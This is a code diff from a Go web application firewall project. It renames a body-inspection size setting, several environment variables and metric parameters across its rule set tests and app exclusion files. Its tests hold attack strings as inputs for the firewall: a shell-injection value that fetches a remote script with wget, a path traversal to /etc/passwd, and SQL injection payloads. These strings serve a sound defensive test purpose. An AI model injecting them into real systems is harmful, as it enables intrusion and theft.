10 +// bodyInspectionSize is SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE in the +// tests that read bodies. +const bodyInspectionSize = 8 << 10 // The Content-Type headers of the kinds of body the Core Rule Set reads. const ( @@ -2334,12 +2339,13 @@ const pathTraversal = "../../etc/passwd" const shellCommand = "; wget http://example.com/x.sh" // readingBodies returns the Core Rule Set as sww runs it by -// default, but reading bodies up to bodyLimit. +// default, but reading bodies up to bodyInspectionSize. func readingBodies(t *testing.T) *coreruleset.CoreRuleSet { t.Helper() return shared(t, coreruleset.Params{ - ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit, + ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, + BodyInspectionSize: bodyInspectionSize, }) } @@ -2393,7 +2399,7 @@ func wantBody( } } -func TestBodiesAreReadOnlyWhileBodyLimitIsSet(t *testing.T) { +func TestBodiesAreReadOnlyWhileBodyInspectionSizeIsSet(t *testing.T) { t.Parallel() off, on := atDefaults(t), readingBodies(t) @@ -2413,7 +2419,7 @@ func TestFormDataAndMultipartAreReadUpToTheLimit(t *testing.T) { t.Parallel() crs := readingBodies(t) - pad := strings.Repeat("a", bodyLimit) + pad := strings.Repeat("a", bodyInspectionSize) for _, tc := range []struct{ header, attackFirst, attackLast string }{ { @@ -2426,20 +2432,20 @@ func TestFormDataAndMultipartAreReadUpToTheLimit(t *testing.T) { }, } { wantBody(t, crs, post(tc.header), tc.attackFirst, matched(942100), - tc.attackFirst[:bodyLimit+1]) + tc.attackFirst[:bodyInspectionSize+1]) wantBody( t, crs, post(tc.header), tc.attackLast, coreruleset.Result{}, - tc.attackLast[:bodyLimit+1], + tc.attackLast[:bodyInspectionSize+1], ) } // To the byte: a system file's path is found when it ends at the limit, // and not when its last letter is past it, which is still read. - atLimit := padded("pad=", "&q=/etc/passwd", bodyLimit) + atLimit := padded("pad=", "&q=/etc/passwd", bodyInspectionSize) wantBody( t, crs, @@ -2449,7 +2455,7 @@ func TestFormDataAndMultipartAreReadUpToTheLimit(t *testing.T) { atLimit, ) - pastLimit := padded("pad=", "&q=/etc/passwd", bodyLimit+1) + pastLimit := padded("pad=", "&q=/etc/passwd", bodyInspectionSize+1) wantBody( t, crs, @@ -2469,10 +2475,10 @@ func TestJSONAndXMLAreReadOnlyWhenNoLargerThanTheLimit(t *testing.T) { {jsonBody, `{"q":"` + injection + `","pad":"`, `"}`}, {xmlBody, "" + injection + "", ""}, } { - fits := padded(tc.head, tc.tail, bodyLimit) + fits := padded(tc.head, tc.tail, bodyInspectionSize) wantBody(t, crs, post(tc.header), fits, matched(942100), fits) - larger := padded(tc.head, tc.tail, bodyLimit+1) + larger := padded(tc.head, tc.tail, bodyInspectionSize+1) wantBody( t, crs, @@ -2529,7 +2535,7 @@ func TestContentEncodingIsRefusedOnTheKindsOfBodyTheCoreRuleSetReads( // Whatever its size: a JSON body larger than the limit is not read, but // Content-Encoding on it is refused all the same. - larger := strings.Repeat("a", bodyLimit+1) + larger := strings.Repeat("a", bodyInspectionSize+1) wantBody(t, crs, post(jsonBody, gzip), larger, matched(920450), larger) // It is allowed on a body of any other kind, and on every body while no @@ -2748,7 +2754,7 @@ func giteaBranchNamesInBodies() []nameInBody { func TestGiteaNamesInBodiesStillRefuseAttacks(t *testing.T) { t.Parallel() - const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default + const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default crs := readingBodies(t) @@ -2849,7 +2855,7 @@ func TestBodyCorazaCannotParseIsAMatch(t *testing.T) { // that has no colon, before the attack. They do so padded past the // limit too, which cuts them in the padding. noColon := "--b\r\nContent-Disposition form-data; name=\"a\"\r\n\r\n1\r\n" - pad := field("pad", strings.Repeat("a", bodyLimit)) + pad := field("pad", strings.Repeat("a", bodyInspectionSize)) for _, tc := range []struct{ header, head string }{ {multipart + "; boundary=c", ""}, @@ -2867,7 +2873,7 @@ func TestBodyCorazaCannotParseIsAMatch(t *testing.T) { body = tc.head + field("q", injection) + pad + end wantBody(t, crs, post(tc.header), body, matched(900440, 900450), - body[:bodyLimit+1]) + body[:bodyInspectionSize+1]) } } @@ -2880,7 +2886,10 @@ func TestMultipartBodyCutBeforeAPartHeadersColonIsAMatch(t *testing.T) { cut := "--b\r\nContent-Di" first := field( "pad", - strings.Repeat("a", bodyLimit-len(field("pad", ""))-len(cut)), + strings.Repeat( + "a", + bodyInspectionSize-len(field("pad", ""))-len(cut), + ), ) body := first + cut + "sposition: form-data; name=\"q\"\r\n\r\n1\r\n" + end @@ -2890,7 +2899,7 @@ func TestMultipartBodyCutBeforeAPartHeadersColonIsAMatch(t *testing.T) { post(multipart), body, matched(900440, 900450), - body[:bodyLimit+1], + body[:bodyInspectionSize+1], ) } @@ -2909,12 +2918,15 @@ func TestMultipartBodyCutBeforeALineFeedInAPartsHeadersIsAMatch( for _, cut := range []int{len(headerLine), len(headerLine + "\n\r")} { first := field( "pad", - strings.Repeat("a", bodyLimit-len(field("pad", ""))-cut), + strings.Repeat( + "a", + bodyInspectionSize-len(field("pad", ""))-cut, + ), ) body := first + field("q", "1") + end wantBody(t, crs, post(multipart), body, matched(900440, 900450), - body[:bodyLimit+1]) + body[:bodyInspectionSize+1]) } } @@ -2929,7 +2941,8 @@ func TestCorazaWritesNoFile(t *testing.T) { // The test loads its own Core Rule Set, since loading is part of what // it checks. crs, err := coreruleset.New(coreruleset.Params{ - ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit, + ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, + BodyInspectionSize: bodyInspectionSize, }) if err != nil { t.Fatalf("load the Core Rule Set: %v", err) @@ -2941,11 +2954,11 @@ func TestCorazaWritesNoFile(t *testing.T) { wantBody(t, crs, post(multipart), body, matched(942100), body) } -func TestBodyLimitOf1GLoads(t *testing.T) { +func TestBodyInspectionSizeOf1GLoads(t *testing.T) { t.Parallel() _, err := coreruleset.New( - coreruleset.Params{ParanoiaLevel: 1, BodyLimit: 1 << 30}, + coreruleset.Params{ParanoiaLevel: 1, BodyInspectionSize: 1 << 30}, ) if err != nil { t.Errorf("load the Core Rule Set reading bodies up to 1G: %v", err) diff --git a/internal/coreruleset/drupal.conf b/internal/coreruleset/drupal.conf index 05ce2ca..a627d06 100644 --- a/internal/coreruleset/drupal.conf +++ b/internal/coreruleset/drupal.conf @@ -4,7 +4,7 @@ # request, before the rules it switches off, so this file is loaded before the # Core Rule Set's rules. Each comment names a request a rule refused. An # exclusion on a field of a body applies only when the query has no parameter -# of that name, so it matters only while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is +# of that name, so it matters only while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is # set. The exclusions above the comment "The fields below are in bodies" also # cover a body field of the same name whatever the query holds, and only those # below it need a query without that name. diff --git a/internal/coreruleset/drupal_test.go b/internal/coreruleset/drupal_test.go index bdc59b0..904fd9c 100644 --- a/internal/coreruleset/drupal_test.go +++ b/internal/coreruleset/drupal_test.go @@ -9,7 +9,7 @@ import ( "sneak.berlin/go/smallwebwaf/internal/coreruleset" ) -// drupalThreshold is SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default. +// drupalThreshold is SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default. const drupalThreshold = 5 // drupalAddArticle is Drupal's form for a new article. diff --git a/internal/coreruleset/forgejo.conf b/internal/coreruleset/forgejo.conf index 5b09d89..ef650c7 100644 --- a/internal/coreruleset/forgejo.conf +++ b/internal/coreruleset/forgejo.conf @@ -132,7 +132,7 @@ SecRule REQUEST_FILENAME "@streq /admin/repos" \ # They skip these rules: # 932120: fix-powershell-module # 932260: feat/docker-support -# They are read only while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set, and skip +# They are read only while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set, and skip # nothing when the query has a parameter of the same name. SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/settings/rename_branch$" \ "id:900666,phase:1,pass,nolog,chain" diff --git a/internal/coreruleset/forgejo_test.go b/internal/coreruleset/forgejo_test.go index 2325381..d4c1229 100644 --- a/internal/coreruleset/forgejo_test.go +++ b/internal/coreruleset/forgejo_test.go @@ -91,7 +91,7 @@ var forgejoAttacks = []string{ func TestForgejoAttacksAreRefusedInItsSearches(t *testing.T) { t.Parallel() - const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default + const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default defaults, bodies := atDefaults(t), readingBodies(t) @@ -113,7 +113,7 @@ func TestForgejoAttacksAreRefusedInItsSearches(t *testing.T) { func TestForgejoExclusionsAreNarrow(t *testing.T) { t.Parallel() - const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default + const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default crs := atDefaults(t) diff --git a/internal/coreruleset/ghost.conf b/internal/coreruleset/ghost.conf index edf796d..43a7594 100644 --- a/internal/coreruleset/ghost.conf +++ b/internal/coreruleset/ghost.conf @@ -3,7 +3,7 @@ # rules it switches off, so this file is loaded before the Core Rule Set's # rules. Each comment names a request a rule refused. An exclusion on a field of # a body applies only when the query has no parameter of that name, so it -# matters only while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set. +# matters only while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set. # # Ghost's admin and its integrations call the Admin API under /ghost/api/admin/, # themes and Ghost's own scripts call the Content API under /ghost/api/content/, diff --git a/internal/coreruleset/ghost_test.go b/internal/coreruleset/ghost_test.go index 34fbc84..f1fba6d 100644 --- a/internal/coreruleset/ghost_test.go +++ b/internal/coreruleset/ghost_test.go @@ -11,7 +11,7 @@ import ( "sneak.berlin/go/smallwebwaf/internal/coreruleset" ) -// ghostThreshold is SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default. +// ghostThreshold is SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default. const ghostThreshold = 5 // Paths of Ghost's Admin API, Content API and members' API. diff --git a/internal/coreruleset/gitea.conf b/internal/coreruleset/gitea.conf index 5e5acbc..1369daa 100644 --- a/internal/coreruleset/gitea.conf +++ b/internal/coreruleset/gitea.conf @@ -394,7 +394,7 @@ SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/lastcommit/" \ "id:900633,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932260;ARGS:refSubUrl" # The requests below name a file or a branch in a body field, which is read only -# while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set. Each field skips the rules that +# while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set. Each field skips the rules that # refused it. # Each field below that names a branch skips these rules: # 932120: fix-powershell-module diff --git a/internal/coreruleset/gitea_test.go b/internal/coreruleset/gitea_test.go index b21eb99..5ea4813 100644 --- a/internal/coreruleset/gitea_test.go +++ b/internal/coreruleset/gitea_test.go @@ -85,7 +85,7 @@ func TestGiteaAdminFormsLetHardValuesThroughInTheBody(t *testing.T) { func TestGiteaFormsThatAdoptARepositoryLetItsNameThrough(t *testing.T) { t.Parallel() - const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default + const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default crs := readingBodies(t) @@ -146,7 +146,7 @@ func TestGiteaFormsThatAdoptARepositoryLetItsNameThrough(t *testing.T) { func TestGiteaAttacksAreRefusedInItsSearches(t *testing.T) { t.Parallel() - const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default + const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default defaults, bodies := atDefaults(t), readingBodies(t) @@ -170,7 +170,7 @@ func TestGiteaAttacksAreRefusedInItsSearches(t *testing.T) { func TestGiteaSearchExclusionsAreNarrow(t *testing.T) { t.Parallel() - const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default + const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default crs := atDefaults(t) diff --git a/internal/coreruleset/mastodon.conf b/internal/coreruleset/mastodon.conf index 6dd520f..43469a7 100644 --- a/internal/coreruleset/mastodon.conf +++ b/internal/coreruleset/mastodon.conf @@ -5,7 +5,7 @@ # file is loaded before the Core Rule Set's rules. Each comment names a request # a rule refused. An exclusion on a field of a body applies only when the query # has no parameter of that name, so it matters only while -# SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set. +# SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set. # # Gitea serves /api/v1/ too, and Drupal serves /admin/. So only Mastodon's own # resources under them count as Mastodon's paths. diff --git a/internal/coreruleset/mastodon_test.go b/internal/coreruleset/mastodon_test.go index 0a8c848..ab326cd 100644 --- a/internal/coreruleset/mastodon_test.go +++ b/internal/coreruleset/mastodon_test.go @@ -12,7 +12,7 @@ import ( "sneak.berlin/go/smallwebwaf/internal/coreruleset" ) -// mastodonThreshold is SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default. +// mastodonThreshold is SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default. const mastodonThreshold = 5 // mastodonStatuses is where Mastodon's apps and web app post. diff --git a/internal/coreruleset/mediawiki.conf b/internal/coreruleset/mediawiki.conf index a63596d..e53931f 100644 --- a/internal/coreruleset/mediawiki.conf +++ b/internal/coreruleset/mediawiki.conf @@ -5,7 +5,7 @@ # request, before the rules it switches off, so this file is loaded before the # Core Rule Set's rules. Each comment names a request a rule refused. An # exclusion on a field of a body applies only when the query has no parameter of -# that name, so it matters only while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set. +# that name, so it matters only while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set. # MediaWiki's paths are matched at the site root and under /w/. # # WordPress serves /index.php too. So /index.php counts as MediaWiki's only diff --git a/internal/coreruleset/mediawiki_test.go b/internal/coreruleset/mediawiki_test.go index f9d898f..7a43b4a 100644 --- a/internal/coreruleset/mediawiki_test.go +++ b/internal/coreruleset/mediawiki_test.go @@ -9,7 +9,7 @@ import ( "sneak.berlin/go/smallwebwaf/internal/coreruleset" ) -// mediawikiThreshold is SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default. +// mediawikiThreshold is SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default. const mediawikiThreshold = 5 // mediawiki is MediaWiki's name in SWW_WAF_APPS. @@ -76,7 +76,8 @@ func TestMediaWikiWatchlistFixAppliesOnlyToAHostnameThatServesMediaWiki( t.Parallel() crs := shared(t, coreruleset.Params{ - ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit, + ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, + BodyInspectionSize: bodyInspectionSize, Apps: map[string][]string{ giteaHost: {gitea}, otherHost: {mediawiki}, @@ -120,7 +121,8 @@ func TestMediaWikiPasswordFixesApplyOnlyToAHostnameThatServesMediaWiki( t.Parallel() crs := shared(t, coreruleset.Params{ - ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit, + ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, + BodyInspectionSize: bodyInspectionSize, Apps: map[string][]string{ giteaHost: {gitea}, otherHost: {mediawiki}, diff --git a/internal/coreruleset/nextcloud.conf b/internal/coreruleset/nextcloud.conf index f817e8b..f5c3737 100644 --- a/internal/coreruleset/nextcloud.conf +++ b/internal/coreruleset/nextcloud.conf @@ -5,7 +5,7 @@ # switches off, so this file is loaded before the Core Rule Set's rules. Each # comment names a request a rule refused. An exclusion on a field of a JSON body # applies only when the query has no parameter of that name, so it matters only -# while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set. Nextcloud's pages are matched +# while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set. Nextcloud's pages are matched # at the site root and under /index.php/, where a Nextcloud without pretty URLs # serves them. # diff --git a/internal/coreruleset/nextcloud_test.go b/internal/coreruleset/nextcloud_test.go index 93bdb35..1d96c4b 100644 --- a/internal/coreruleset/nextcloud_test.go +++ b/internal/coreruleset/nextcloud_test.go @@ -13,7 +13,7 @@ import ( "sneak.berlin/go/smallwebwaf/internal/coreruleset" ) -// nextcloudThreshold is SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default. +// nextcloudThreshold is SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default. const nextcloudThreshold = 5 // nextcloudSignIn is the sign-in page. @@ -102,7 +102,8 @@ func TestNextcloudPasswordInValuePassesOnlyOnHostnamesThatServeNextcloud( t.Parallel() crs := shared(t, coreruleset.Params{ - ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit, + ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, + BodyInspectionSize: bodyInspectionSize, Apps: map[string][]string{ giteaHost: {gitea}, otherHost: {nextcloud}, @@ -528,7 +529,7 @@ func TestNextcloudPasswordFieldsPass(t *testing.T) { func TestNextcloudUserPasswordInValuePasses(t *testing.T) { t.Parallel() - const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default + const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default crs := readingBodies(t) target := nextcloudUsers + "/alice" diff --git a/internal/coreruleset/recorded_test.go b/internal/coreruleset/recorded_test.go index cd6ed67..ad77537 100644 --- a/internal/coreruleset/recorded_test.go +++ b/internal/coreruleset/recorded_test.go @@ -57,7 +57,7 @@ func giteaRequests(t *testing.T) []request { func TestOrdinaryGiteaRequestsPass(t *testing.T) { t.Parallel() - const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default + const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default requests := giteaRequests(t) giteaOnly := map[string][]string{giteaHost: {gitea}} @@ -133,7 +133,7 @@ func recordedRequests(t *testing.T, name string) []recordedRequest { func wantRecordedRequestsPass(t *testing.T, name, app string) { t.Helper() - const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default + const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default requests := recordedRequests(t, name) @@ -144,7 +144,7 @@ func wantRecordedRequestsPass(t *testing.T, name, app string) { defaults := servingApps(t, apps) bodies := shared(t, coreruleset.Params{ ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, - BodyLimit: bodyLimit, Apps: apps, + BodyInspectionSize: bodyInspectionSize, Apps: apps, }) for _, recorded := range requests { @@ -214,7 +214,7 @@ func TestOrdinaryDrupalRequestsPass(t *testing.T) { func TestOrdinaryForgejoRequestsPass(t *testing.T) { t.Parallel() - const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default + const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default requests := recordedRequests(t, "forgejo-requests.txt") forgejoOnly := map[string][]string{"example.com": {forgejo}} diff --git a/internal/coreruleset/vaultwarden.conf b/internal/coreruleset/vaultwarden.conf index a854190..cc02c23 100644 --- a/internal/coreruleset/vaultwarden.conf +++ b/internal/coreruleset/vaultwarden.conf @@ -5,7 +5,7 @@ # before the rules it switches off, so this file is loaded before the Core Rule # Set's rules. Each comment names a request a rule refused. An exclusion on a # field of a body applies only when the query has no parameter of that name, so -# it matters only while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set. +# it matters only while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set. # # The apps encrypt the names, notes, addresses and file names of vault items, # folders, collections and sends before they send them. These values pass diff --git a/internal/coreruleset/vaultwarden_test.go b/internal/coreruleset/vaultwarden_test.go index abe748e..fa69e8a 100644 --- a/internal/coreruleset/vaultwarden_test.go +++ b/internal/coreruleset/vaultwarden_test.go @@ -13,7 +13,7 @@ import ( "sneak.berlin/go/smallwebwaf/internal/coreruleset" ) -// vaultwardenThreshold is SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default. +// vaultwardenThreshold is SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default. const vaultwardenThreshold = 5 // Paths of Vaultwarden's API and admin page. @@ -456,8 +456,11 @@ func TestVaultwardenMasterPasswordHashesPass(t *testing.T) { }, } { body := passwordBody(t, sent.r, sent.names, hashes...) - if len(body) > bodyLimit { - t.Fatalf("a body of %d bytes is cut at bodyLimit", len(body)) + if len(body) > bodyInspectionSize { + t.Fatalf( + "a body of %d bytes is cut at bodyInspectionSize", + len(body), + ) } if got, _ := inspectBody(t, crs, sent.r, body); len( diff --git a/internal/coreruleset/wordpress.conf b/internal/coreruleset/wordpress.conf index 1a2a1ff..2e7ae4e 100644 --- a/internal/coreruleset/wordpress.conf +++ b/internal/coreruleset/wordpress.conf @@ -3,7 +3,7 @@ # the rules it switches off, so this file is loaded before the Core Rule Set's # rules. Each comment names a request the rule refused. An exclusion on a field # of a body applies only when the query has no parameter of that name, so it -# matters only while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set. +# matters only while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set. # Every rule below is skipped unless Inspect has set tx.app_wordpress. It sets # it while SWW_WAF_APPS is unset, or lists wordpress for the request's hostname. diff --git a/internal/lookup/lookup.go b/internal/lookup/lookup.go index 0746258..d5d5db0 100644 --- a/internal/lookup/lookup.go +++ b/internal/lookup/lookup.go @@ -66,7 +66,7 @@ type Params struct { URL string // Timeout is how long a request waits for its client's first answer, // and how long a request to GeoJS may take before it is abandoned - // (SWW_WAF_LOOKUP_TIMEOUT). + // (SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS). Timeout time.Duration // Wait is true when a setting needs each request's answer before the // request goes on. Otherwise no request waits for one. diff --git a/internal/metrics/busiest.go b/internal/metrics/busiest.go index 0cbe646..c4d5062 100644 --- a/internal/metrics/busiest.go +++ b/internal/metrics/busiest.go @@ -13,14 +13,15 @@ const other = "other" // busiest are the metrics by one thing the lookup finds of the client, // its country or its AS number, for requests whose client's is known. -// The topN busiest countries or AS numbers, by their requests since the -// start, have series of their own, and the others are counted under -// other, so that there are never more than topN + 1 series. One that -// drops out of the busiest loses its series, and its next requests are -// counted under other; one that becomes one of them gets a series that -// counts from then on. Each series therefore only ever goes up. +// The busiestCount busiest countries or AS numbers, by their requests +// since the start, have series of their own, and the others are counted +// under other, so that there are never more than busiestCount + 1 series. +// One that drops out of the busiest loses its series, and its next +// requests are counted under other; one that becomes one of them gets a +// series that counts from then on. Each series therefore only ever goes +// up. type busiest struct { - topN int + busiestCount int requests *prometheus.CounterVec requestBytes *prometheus.CounterVec @@ -38,9 +39,9 @@ type busiest struct { } // newCountries returns the metrics by country, with series of their own -// for the topN busiest countries. -func newCountries(topN int) *busiest { - countries := newBusiest(topN, "country", "the client's country") +// for the busiestCount busiest countries. +func newCountries(busiestCount int) *busiest { + countries := newBusiest(busiestCount, "country", "the client's country") countries.refused = counterVec( "sww_country_list_refusals_total", "Requests SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES refused, by the client's country.", @@ -51,18 +52,19 @@ func newCountries(topN int) *busiest { } // newASNs returns the metrics by AS number, with series of their own for -// the topN busiest AS numbers. -func newASNs(topN int) *busiest { - return newBusiest(topN, "asn", "the client's AS number") +// the busiestCount busiest AS numbers. +func newASNs(busiestCount int) *busiest { + return newBusiest(busiestCount, "asn", "the client's AS number") } // newBusiest returns the metrics by label, which is described as -// description, with series of their own for the topN busiest values. -func newBusiest(topN int, label, description string) *busiest { +// description, with series of their own for the busiestCount busiest +// values. +func newBusiest(busiestCount int, label, description string) *busiest { by := []string{label} return &busiest{ - topN: topN, + busiestCount: busiestCount, requests: counterVec("sww_"+label+"_requests_total", "Requests, by "+description+".", by), requestBytes: counterVec("sww_"+label+"_request_bytes_total", @@ -131,7 +133,7 @@ func (b *busiest) label(value string) string { return value } - if len(b.top) < b.topN { + if len(b.top) < b.busiestCount { b.top[value] = true return value diff --git a/internal/metrics/metrics.go b/internal/metrics/metrics.go index e130888..832d988 100644 --- a/internal/metrics/metrics.go +++ b/internal/metrics/metrics.go @@ -61,12 +61,12 @@ type Metrics struct { } // New returns the metrics, with the Go runtime's and the process's own. -// topN is how many countries and how many AS numbers get series of their -// own (SWW_WAF_METRICS_TOP_N). Every metric carries instanceName -// (SWW_WAF_INSTANCE_NAME) as its label instance. +// busiestCount is how many countries and how many AS numbers get series of +// their own (SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS). Every metric +// carries instanceName (SWW_WAF_INSTANCE_NAME) as its label instance. // //nolint:funlen // a few lines for each metric, a list that grows with them -func New(topN int, instanceName string) *Metrics { +func New(busiestCount int, instanceName string) *Metrics { byStatus := []string{"status_class", "action"} byFile := []string{"file"} registry := prometheus.NewRegistry() @@ -102,7 +102,7 @@ func New(topN int, instanceName string) *Metrics { }), rateLimitHits: counterVec( "sww_rate_limit_hits_total", - "Requests that broke a rate limit, a byte limit or the error burst, by "+ + "Requests that broke a rate limit, a byte limit or the refusal limit, by "+ "its window and its kind, requests, bytes or refusals.", []string{"window", "kind"}, ), @@ -114,8 +114,8 @@ func New(topN int, instanceName string) *Metrics { "and the rule's id.", []string{"mode", "rule_id"}, ), - countries: newCountries(topN), - asns: newASNs(topN), + countries: newCountries(busiestCount), + asns: newASNs(busiestCount), GeoJSRequests: prometheus.NewCounter(prometheus.CounterOpts{ Name: "sww_geojs_requests_total", Help: "Requests to GeoJS.", @@ -465,7 +465,7 @@ func (m *Metrics) RequestReported( } // LimitHit counts a request that broke a rate limit, a byte limit or the -// error burst, by the window and the kind of hit. +// refusal limit, by the window and the kind of hit. func (m *Metrics) LimitHit(hit ratelimit.Hit) { m.rateLimitHits.WithLabelValues(hit.Window, hit.Kind).Inc() } diff --git a/internal/ratelimit/ratelimit.go b/internal/ratelimit/ratelimit.go index affdf74..5e7ac0d 100644 --- a/internal/ratelimit/ratelimit.go +++ b/internal/ratelimit/ratelimit.go @@ -25,7 +25,7 @@ const ( KindRequests = "requests" // KindBytes is a byte limit, on a client's bytes. KindBytes = "bytes" - // KindRefusals is the error burst, on a client's requests sww + // KindRefusals is the refusal limit, on a client's requests sww // refused after a rule file match or for a missing or wrong token. KindRefusals = "refusals" ) @@ -54,7 +54,7 @@ type Limiter struct { // Client is a client in the table, as clients.json holds it: its buckets // of requests and of bytes in each window, its buckets of refusals in the -// minute, which the error burst counts, and its history. +// minute, which the refusal limit counts, and its history. // //nolint:tagliatelle // the state files use snake_case, as the request log does type Client struct { @@ -121,7 +121,7 @@ type Responses struct { //nolint:tagliatelle // the state files use snake_case, as the request log does type Offences struct { // Limit is its requests that broke a rate limit, a byte limit or the - // error burst, Attack those that were a clear sign of attack, a match + // refusal limit, Attack those that were a clear sign of attack, a match // of a ban rule or a request for a trap path, BlockedByBlockRule those a // block rule refused, and BlockedByCoreRuleSet those the Core Rule Set // refused. @@ -147,7 +147,7 @@ type Request struct { RequestBytes int64 ResponseBytes int64 // BrokeLimit is true for a request that broke a rate limit, a byte - // limit or the error burst, Attack for one that matched a ban rule or + // limit or the refusal limit, Attack for one that matched a ban rule or // asked for a trap path, BlockedByBlockRule for one a block rule refused, // and BlockedByCoreRuleSet for one the Core Rule Set refused. BrokeLimit bool @@ -185,11 +185,11 @@ func New(limits Limits, maxClients int) *Limiter { } } -// Hit is a request that takes a client over a rate limit or the error -// burst, or whose bytes take it over a byte limit. +// Hit is a request that takes a client over a rate limit or the refusal +// limit, or whose bytes take it over a byte limit. type Hit struct { // Kind is KindRequests for a rate limit, KindBytes for a byte limit, - // KindRefusals for the error burst. + // KindRefusals for the refusal limit. Kind string // Window is "minute", "hour" or "day". Window string @@ -263,10 +263,10 @@ func (l *Limiter) CountBytes( // CountRefusal counts a request from client at now that sww // refused after a rule file or Core Rule Set match or for a missing or // wrong token, and reports whether the client's refusals in the minute -// that ends at now, this one included, are more than threshold, which -// breaks the error burst, and the hit. +// that ends at now, this one included, are more than limit, which breaks +// the refusal limit, and the hit. func (l *Limiter) CountRefusal( - client netip.Prefix, now time.Time, threshold int64, + client netip.Prefix, now time.Time, limit int64, ) (Hit, bool) { l.mu.Lock() defer l.mu.Unlock() @@ -275,11 +275,11 @@ func (l *Limiter) CountRefusal( hit := Hit{ Kind: KindRefusals, Window: "minute", - Limit: threshold, + Limit: limit, Count: count, } - return hit, count > float64(threshold) + return hit, count > float64(limit) } // Reset sets client's counts of requests, of bytes and of refusals in diff --git a/internal/ratelimit/ratelimit_test.go b/internal/ratelimit/ratelimit_test.go index 1fc1c06..ec3ab1c 100644 --- a/internal/ratelimit/ratelimit_test.go +++ b/internal/ratelimit/ratelimit_test.go @@ -351,7 +351,9 @@ func TestResetSetsTheBytesBackToZero(t *testing.T) { wantBytesCount(t, limiter, client, start, 1000, "") } -func TestRefusalsOverTheThresholdInAMinuteBreakTheErrorBurst(t *testing.T) { +func TestRefusalsOverTheLimitInAMinuteBreakTheRefusalLimit( + t *testing.T, +) { t.Parallel() limiter := ratelimit.New(ratelimit.Limits{}, tableSize) @@ -361,7 +363,7 @@ func TestRefusalsOverTheThresholdInAMinuteBreakTheErrorBurst(t *testing.T) { for range limit { if _, over := limiter.CountRefusal(client, start, limit); over { t.Fatalf( - "a refusal within the threshold of %d broke the error burst", + "a refusal within the limit of %d broke the refusal limit", limit, ) } @@ -374,7 +376,7 @@ func TestRefusalsOverTheThresholdInAMinuteBreakTheErrorBurst(t *testing.T) { } if !over || hit != 